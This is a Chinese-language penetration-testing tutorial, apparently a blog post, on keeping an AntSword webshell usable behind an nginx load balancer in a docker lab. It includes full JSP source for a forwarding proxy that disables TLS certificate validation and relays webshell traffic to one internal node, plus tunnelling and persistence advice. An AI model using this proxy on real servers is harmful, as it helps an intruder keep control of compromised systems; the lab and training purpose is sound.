摘要

负载均衡下的webshell连接

本文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

前言

之前面试的时候有个面试官问我,如果webshell连接之后不稳定怎么办(有时候会断掉,或是文件上传后大小不匹配),我当时回答是可能存在负载均衡,面试官继续问我如何解决这个问题,当时对这一块了解确实不是很多,后期特意学习了一下。

负载均衡的概念及分类不是我们本文的讲解重点,大家可以参考下面的链接了解一下。

https://blog.csdn.net/wanghangzhen/article/details/118554304

我们重点讨论不能直接访问到跑着具体业务的某个节点的情况,比如说「反向代理方式」。

反向代理方式其中比较流行的方式是用 nginx 来做负载均衡。我们先简单的介绍一下 nginx 支持的几种策略:

名称 策略
轮询(默认) 按请求顺序逐一分配
weight 根据权重分配
ip_hash 根据客户端IP分配
least_conn 根据连接数分配
fair (第三方) 根据响应时间分配
url_hash (第三方) 根据URL分配

上述的几种策略中 ip_hash和url_hash 这种能固定访问到某个节点的情况和单机的区别不是很大这里我们也做不讨论。所以实验时我会以默认的「轮询」方式来做演示。

环境搭建

现在假定在真实生产环境中,存在一个RCE漏洞,可以让我们获取WebShell。

1.AntSword-Labs项目部署

通过一级标题1我们已经对负载均衡有了大致的了解,下面我们来正式的搭建实验环境首先我们需要使用Github上的一个开源项目AntSword-Labs(蚁剑实验室)下载连接如下:

https://github.com/AntSwordProject/AntSword-Labs/tree/master/loadbalance/loadbalance-jsp#/

下载完项目后,利用docker-compose up -d 启动环境即可。

为了方便解释,我们只用两个节点,启动之后,看到有 3 个容器(你想象成有 3 台服务器组成)。

当前架构如下所示:

1
2
3
4
5
6
7
8
9
10
11
                          ┌─────────────┐
│ │
┌──────► LBSNode 1 │
┌─────────┐ │ │ │
│ │ │ └─────────────┘
│ Nginx ├────────┤
│ │ │ ┌─────────────┐
└─────────┘ │ │ │
└──────► LBSNode 2 │
│ │
                          └─────────────┘

Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。

我们只能通过 nginx 这台机器访问。nginx 的配置如下:

2.Webshell连接工具

我们先按常规操作在蚁剑里添加 Shell。

Shell 密码
​​http://搭建环境的主机IP地址:映射的端口号/ant.jsp​ ant

然后连接目标,因为两台节点都在相同的位置存在 ant.jsp,所以连接的时候也没出现什么异常。

负载均衡环境下WebShell遇到的问题

1.难点一:如何稳定WebShell连接?

我们需要在每一台节点的相同位置都上传相同内容的WebShell一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。这就是你出现一会儿正常,一会儿错误的原因。

因为AntSword-Labs环境中,两台节点都在相同的位置存在 ant.jsp,所以连接的时候也没出现什么异常。

下面我在node1上将ant.jsp删除,效果如下:

2.难点二:如何固定主机去执行命令?

我们在执行命令时,无法知道下次的请求交给哪台机器去执行,我们执行 ip a 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。

小插曲:环境中可能没有ip addr命令,可以利用apt update&&apt install iproute2进行安装。

3..难点三:在文件分片上传至两台节点后,由于负载均衡算法的不确定性,如何有效组合这些分片还原完整文件?

小插曲

413报错,进入nginx容器修改nginx配置。

添加最大的大小限制为1024m,即1G,重启生效。

继续:

问题出现了,上传的原文件大小为23MB,由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法,这可怎么办?

4.难点四:在目标机器无法出外网的情况下,如何有效深入内网进行渗透工作?

难点中的重点!!!

解决方案

1.思路一 关掉其中一台服务器

是的,首先想到的第一个方案是关机/停服,只保留一台机器,因为健康检查机制的存在,很快其它的节点就会被 nginx 从池子里踢出去,那么妥妥的就能继续了。

确实可以解决问题。

这个方案实在是「老寿星上吊——活腻了」,影响业务,还会造成灾难,直接 Pass 不考虑。(实验环境下,权限够的时候是可以测试可行性的)。

综合评价:真实环境下千万不要尝试!!!!

2.思路二:在程序执行前先判断要不要执行

既然无法预测下一次是哪台机器去执行,那我们的shell在执行Payload之前,先判断一下要不要执行不就可以了。

首次按创建一个脚本demo.sh,该脚本是获取我们的后端其中一台服务器的地址,匹配到这台服务器的地址才进行程序的执行,匹配到另一台服务器则不进行程序的执行。

这样一来,确实能够保证执行的命令是在我们想要的机器上了,可是这样执行命令,没有一丝美感,另外,大文件上传、HTTP隧道这些问题也没有解决。

综合评价:该方案勉强能用,仅适合在执行命令的时候用,不够优雅。

3.思路三:在Web层做一次HTTP流量的转发(重点)

我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。

参考下面的场景:

我们一步一步来看这个图,我们的目的是:所有的数据包都能发给「LBSNode 1」这台机器。

首先是 第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx

nginx 接到数据包之后,会有两种情况:

我们先看黑色线,第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。

再来看红色线,第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。

1. 创建 antproxy.jsp 脚本

修改转发地址,转向目标 Node 的 内网IP的 目标脚本 访问地址。

注意:不仅仅是 WebShell 哟,还可以改成 reGeorg 等脚本的访问地址。

我们将 target 指向了 LBSNode1 的 ant.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.29.0.3:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>

注意:

a) 不要使用上传功能,上传功能会分片上传,导致分散在不同 Node 上。

b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp, 所以我疯狂保存了很多次,保证每一台都上传了脚本

2. 修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变

​​

3. 测试执行命令, 查看 IP

大文件上传问题也得以解决。

优点:

  • 低权限就可以完成,如果权限高的话,还可以通过端口层面直接转发,不过这跟 Plan A 的关服务就没啥区别了
  • 流量上,只影响访问 WebShell 的请求,其它的正常业务请求不会影响。
  • 适配更多工具

缺点:

  • 该方案需要「目标 Node」和「其它 Node」 之间内网互通,如果不互通就凉了(敲黑板:加固方案快记下来)

参考链接:https://mp.weixin.qq.com/s/4Bmz_fuu0yrLMK1oBKKtRA#/
https://blog.csdn.net/m0_74834253/article/details/135898736